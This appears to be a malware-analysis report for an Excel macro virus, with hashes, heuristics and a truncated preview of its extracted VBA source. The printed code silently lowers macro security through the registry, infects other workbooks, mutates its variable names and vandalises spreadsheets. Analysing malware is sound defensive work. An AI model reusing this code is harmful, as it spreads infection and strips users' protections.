Xls.Trojan.Jasmine-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 db698df16a9385b0…

MALICIOUS

Office (OLE)

22.5 KB Created: 2002-03-10 21:54:29 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: ab593545053d657d9a41e4774a9f0b2d SHA-1: e9e3b54c17c26eb79f92604c282147501c5714c9 SHA-256: db698df16a9385b0a4c221799b15a71ad9bf67e073fcbce4fa8b76b2a7bc361c
200 Risk Score

Malware Insights

Xls.Trojan.Jasmine-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file is identified as malicious by ClamAV with the signature Xls.Trojan.Jasmine-1. It contains VBA macros that utilize the Shell() function, indicating an attempt to execute external commands or download additional payloads. The macro code also manipulates registry keys, specifically attempting to modify Excel security settings to enable macro execution.

Heuristics 3

  • ClamAV: Xls.Trojan.Jasmine-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Jasmine-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4920 bytes
SHA-256: 38c846eee36e9796f8d66e2a90ed311ed9abcd26af5d777d781afcdaa6ca3857
Detection
ClamAV: Xls.Trojan.Jasmine-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "List1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
'Excel97.
'Copyright (c) 1999, cry0tek

Private Sub Workbook_Deactivate()
'XL
On Error Resume Next
Dim tw As Object
RegKey = "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info"
Set aw = ActiveWorkbook.VBProject.VBComponents.Item("ThisWorkBook").CodeModule
Set tw = ThisWorkbook.VBProject.VBComponents.Item("ThisWorkBook").CodeModule
RegFile = "c:\remove.reg"
If UCase(Dir(Application.StartupPath + "\Book1.")) <> "BOOK1" Then
 Open RegFile For Output As 1
 Print #1, "REGEDIT4"
 If Left(Application.Version, 1) = 9 Then
  Print #1, "[HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Excel\Security]"
  Print #1, """Level""=dword:00000001"
 Else
  Print #1, "[HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel]"
  Print #1, """Options6""=dword:00000000"
  Print #1, "[HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\New User\Settings\Excel\Microsoft Excel]"
  Print #1, """Options6""=dword:00000000"
  Print #1, "[HKEY_USERS\.Default\Software\Microsoft\Office\8.0\Excel\Microsoft Excel]"
  Print #1, """Options6""=dword:00000000"
 End If
 Close 1
 Shell "regedit /s " & RegFile, vbHide
 Kill RegFile
 Call Encode(tw)
 Workbooks.Add.SaveAs Excel.Application.StartupPath & "\BOOK1.", FileFormat:=xlNormal, AddToMru:=False
 Workbooks("Book1.").Close savechanges:=True
End If
For i = 1 To Workbooks.Count
 Set WBook = Workbooks(i).VBProject.VBComponents.Item("ThisWorkbook").CodeModule
 If WBook.Lines(5, 1) <> "'XL" Then
  WBook.InsertLines 1, tw.Lines _
   (1, tw.CountOfLines)
 End If
Next
If Minute(Now) = Second(Now) Then
 Select Case Day(Now)
  Case 5 And Int((5 * Rnd) + 1) = 1
   Application.StatusBar = "Excel97.MarySol v1.0"
  Case 10 And Int((5 * Rnd) + 1) = 1
   With Assistant.NewBalloon
    .Heading = "Excel97.MarySol v1.0"
    .Text = "So many questions, but the answers are so few..." & vbCr & vbCr
    .Animation = 22
    .Show
   End With
  Case 15 And Int((5 * Rnd) + 1) = 1
   For ii = 1 To 600 Step Int((Rnd * 2) + 1)
    lct = Chr(65 + Int(Rnd * 26))
    jj = lct & (Int(Rnd * 20) + 1)
    Range(jj).Select
    ActiveCell.FormulaR1C1 = "Excel97.MarySol"
    Range(jj).Select
    With Selection.Font
     .Name = "Arial"
     .Size = 10
    End With
    Range(jj).Select
    With Selection.Interior
     .ColorIndex = Int((Rnd * 56) + 1)
     .Pattern = xlSolid
    End With
    Columns(lct & ":" _
      & lct).EntireColumn.AutoFit
    Selection.Font.ColorIndex = Int((Rnd * 56) + 1)
   Next
  Case 20 And Int((5 * Rnd) + 1) = 1
   System.PrivateProfileString("", RegKey, "DefName") = ""
   System.PrivateProfileString("", RegKey, "DefCompany") = ""
 End Select
End If
End Sub
Private Sub Encode(Loc As Object)
Dim varray(1 To 13) As String
Dim var1 As Long: Dim var2 As Long: Dim var3 As Long: Dim var4 As Long
 Randomize
 varray(1) = "aw": varray(2) = "tw": varray(3) = "RegFile": varray(4) = "var1": varray(5) = "var2": varray(6) = "var3"
 varray(7) = "var4": varray(8) = "WBook": varray(9) = "Encode": varray(10) = "lct": varray(11) = "jj": varray(12) = "ii": varray(13) = "RegKey"
 For i = 1 To 13
  For j = 1 To Int((10 * Rnd) + 1)
   PolyVal = PolyVal + Chr(65 + Int(Rnd * 26)) & Chr(122 - Int(Rnd * 26)) & Chr(48 + Int(Rnd * 10))
  Next
  With Loc
   var1 = 1: var2 = 1: var3 = .CountOfLines: var4 = Len(.Lines(.CountOfLines, 1))
   Do While .Find(varray(i), var1, var2, var3, var4, True)
    strVal = .Lines(var1, 1)
    strVal = Left(strVal,
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.